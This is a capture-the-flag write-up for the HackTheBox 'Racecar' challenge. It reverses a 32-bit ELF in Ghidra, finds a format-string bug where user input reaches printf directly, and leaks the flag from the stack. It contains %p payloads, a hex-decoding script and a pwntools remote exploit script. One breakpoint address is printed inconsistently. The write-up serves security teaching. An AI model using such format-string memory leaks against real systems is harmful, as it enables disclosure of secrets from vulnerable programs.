Skip to content

Latest commit

 

History

History
391 lines (284 loc) · 12.5 KB

File metadata and controls

391 lines (284 loc) · 12.5 KB
description cover coverY
08/18/2023
0

🏎️ Racecar

Challenge

{% embed url="https://app.hackthebox.com/challenges/racecar" %}

Password: hackthebox

Description

Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag!

Enumeration

File

{% code overflow="wrap" %}

racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped

{% endcode %}

We can see that we are going to be exploiting a 32-bit ELF binary that is not stripped and is dynamically linked, meaning it is likely linked to glibc.

Although the binary is not stripped, we still lack debugging symbols.

Checksec

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

We can see that this binary was compiled with FULL memory protections.

Reversing

Time to fire up ghidra.

Since this binary isn't stripped, we don't have to worry about finding the entry point and we can skip directly to our main function in our symbol tree.

Time to analyze what is going on in our main function.

I made sure to change all weird values to strings as it would help me in the future to read the code better.

I also was sure to leave comments throughout the listing layout and the decompilation where there are important conditions.

main()

Decompilation code of main():

{% code lineNumbers="true" %}

void main(void)

{
  int iVar1;
  int iVar2;
  int in_GS_OFFSET;
  
  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  setup();
  banner();
  info();
  while (check != 0) {
    iVar2 = menu();
    if (iVar2 == 1) {
      car_info();
    }
    else if (iVar2 == 2) {
      check = 0;
      car_menu();
    }
    else {
      printf("\n%s[-] Invalid choice!%s\n","\x1b[1;31m","\x1b[1;36m");
    }
  }
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

{% endcode %}

We can see that we are establishing some local variables in main(), calling a couple functions: setup(), banner(), info(), car_info(), and car_menu().

The other functions were not very lucrative or interesting, but I did notice that car_menu() was extremely lucrative.

car_menu()

Decompilation code of car_menu():

{% code lineNumbers="true" %}

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void car_menu(void)

{
  int car;
  int race;
  uint __seed;
  int iVar1;
  size_t sVar2;
  char *__format;
  FILE *__stream;
  int in_GS_OFFSET;
  char *pcVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  uint local_54;
  char local_3c [44];
  int local_10;
  
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  uVar4 = 0xffffffff;
  uVar5 = 0xffffffff;
  do {
    printf(&DAT_00011948);
    car = read_int(uVar4,uVar5);
    if ((car != 2) && (car != 1)) {
      printf("\n%s[-] Invalid choice!%s\n","\x1b[1;31m","\x1b[1;36m");
    }
  } while ((car != 2) && (car != 1));
  race = race_type();
  __seed = time((time_t *)0x0);
  srand(__seed);
                      /*IF Statement for winning 1*/
  if (((car == 1) && (race == 2)) || ((car == 2 && (race == 2)))) {
    race = rand();
    race = race % 10;
    iVar1 = rand();
    iVar1 = iVar1 % 100;
  }
  
                      /*IF Statement for winning 2*/
  else if (((car == 1) && (race == 1)) || ((car == 2 && (race == 1)))) {
    race = rand();
    race = race % 100;
    iVar1 = rand();
    iVar1 = iVar1 % 10;
  }
  else {
    race = rand();
    race = race % 100;
    iVar1 = rand();
    iVar1 = iVar1 % 100;
  }
  local_54 = 0;
  while( true ) {
    sVar2 = strlen("\n[*] Waiting for the race to finish...");
    if (sVar2 <= local_54) break;
    putchar((int)"\n[*] Waiting for the race to finish..."[local_54]);
    if ("\n[*] Waiting for the race to finish..."[local_54] == '.') {
      sleep(0);
    }
    local_54 = local_54 + 1;
  }
                    /* Win Race Condition */
  if (((car == 1) && (race < iVar1)) || ((car == 2 && (iVar1 < race)))) {
    printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
    coins = coins + 100;
    pcVar3 = "\x1b[1;36m";
    printf("[+] Current coins: [%d]%s\n",coins,"\x1b[1;36m");
    printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
           &DAT_000119de);
    __format = (char *)malloc(0x171);
    __stream = fopen("flag.txt","r");
    if (__stream == (FILE *)0x0) {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n","\x1b[1;31m",pcVar3);
                    /* WARNING: Subroutine does not return */
      exit(0x69);
    }
    fgets(local_3c,0x2c,__stream);
    read(0,__format,0x170);
    puts(
        "\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world  to know this: \x1b[0m"
        );
    printf(__format);
  }
  else {
                    /* Win Race Condition END */
    if (((car == 1) && (iVar1 < race)) || ((car == 2 && (race < iVar1)))) {
      printf("%s\n\n[-] You lost the race and all your coins!\n","\x1b[1;31m");
      coins = 0;
      printf("[+] Current coins: [%d]%s\n",0,"\x1b[1;36m");
    }
  }
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail_local();
  }
  return;
}

{% endcode %}

We can see that read(__format) will grab our input from STDIN and writes the result back to STDOUT.

We will then print out __format with printf() displaying our "winning message to the press" of what we gave to STDIN from read().

Testing Conditions

We can see with car selection 1 and race selection 2, we are able to win the race.

Vulnerability

What is that on line 83?

We can see printf(__format);

This is very important because this is a piece of vulnerable code that will take our input for what we want to say to the press, malloc() it, and use read() to take our STDIN and place it in that malloc call.

However, in particular, this is a format string vulnerability.

This is because printf(__format) is not specifying a format specifier.

We see that we can win the race by selecting either car one and race 2 or car 2 and race 1.

Let's see if we can inject a format argument via user input.

This should not happen. This is vulnerable!

Let's do some additional testing on the binary from the local side to locate where the flag is in memory.

Let's check out what the flag is doing from this snippet of code taken from our car_menu() function:

    __format = (char *)malloc(0x171);
    __stream = fopen("flag.txt","r");
    if (__stream == (FILE *)0x0) {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n","\x1b[1;31m",pcVar3);
                    /* WARNING: Subroutine does not return */
      exit(0x69);
    }

We can see that fopen() is opening flag.txt with the "r" argument which will open the text file for reading.

However, it never prints the flag, it simply opens the file and you can access it via a file descriptor.

But, this means we can print the data/string associated to flag.txt if we can locate it in memory!

Exploitation

Manual Exploitation

Fuzzing for the flag

Let's do this locally so we have control of the data in flag.txt so we can locate it easier.

flag.txt (local):

echo "AAAAAAAAAAAAAAAAAAAAA" > flag.txt

Keep in mind that our flag is being opened via fopen() in the car_menu() function.

car_menu() -> Winning conditions -> flag.txt

We can see our flag in memory being represented as 0x41 (A in hex).

Exploit:

%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

Now, connect to the remote server hosting the binary and run the exploit above and plug your data into the script below.

We now know that we need to print out at least 14 addresses to hit the flag on the stack.

We can use this script to convert bytes to ASCII and reverse the order for us to grab our flag:

#!/usr/bin/env python3
import re

raw_flag = input("Enter the raw data: ")

raw_flag = raw_flag.split()[::-1]

for i in range(len(raw_flag)):
	raw_flag[i] = re.findall('..', raw_flag[i])

flag = []
for chars in raw_flag:
	word = ""
	for char in chars[::-1]:
		if char != '0x':
			word += chr(int(char, 16))
	flag.append(word)

flag.reverse()
print(''.join(flag))

Let's locate in the decompilation a little after where our flag is loaded into memory:

We can see that this is the 3rd to last printf() call in car_menu().

By viewing the disassembly of car_menu(), we can find the 3rd to last printf() call via disass car_menu in gdb.

So, we now want to break at:

0x5655600

We can do this with b *0x56556002 in gdb.

Run your program and continue execution and print out your stack pointer and you will see the flag in memory!

Automated Exploitation

This python exploit will help you remotely exploit the binary.

Shout out to Opcode for helping me with this script.

remote-exploit.py:

from pwn import *
from binascii import unhexlify

exe = ELF('./racecar', checksec=True)

def str_vuln(index):
    p = remote('IP_HERE', PORT_HERE)

    p.sendlineafter(b'Name: ', b'1337')
    p.sendlineafter(b'Nickname: ', b'1337')
    p.sendlineafter(b'Car selection\n> ', b'2')
    p.sendlineafter(b'\xef\xb8\x8f\n> ', b'2')
    p.sendlineafter(b'Circuit\n> ', b'1')

    fmtstr_leak = b'%' + str(index).encode() + b'$x'
    p.sendlineafter(b'victory?\n> \x1b[0m', fmtstr_leak)
    candidate = p.recv()
    p.close()

    return candidate

flag = b''
leak = str_vuln('12$x.%13$x.%14$x.%15$x.%16$x.%17$x.%18$x.%19$x.%20$x.%21$x.%22')

for i in leak.split(b'.'):
    if len(i) > 12:
        fragment = i.split(b'\n')[-1]
        flag += unhexlify(fragment)[::-1]
    else:
        flag += unhexlify(i.strip(b'\n'))[::-1]

print(flag)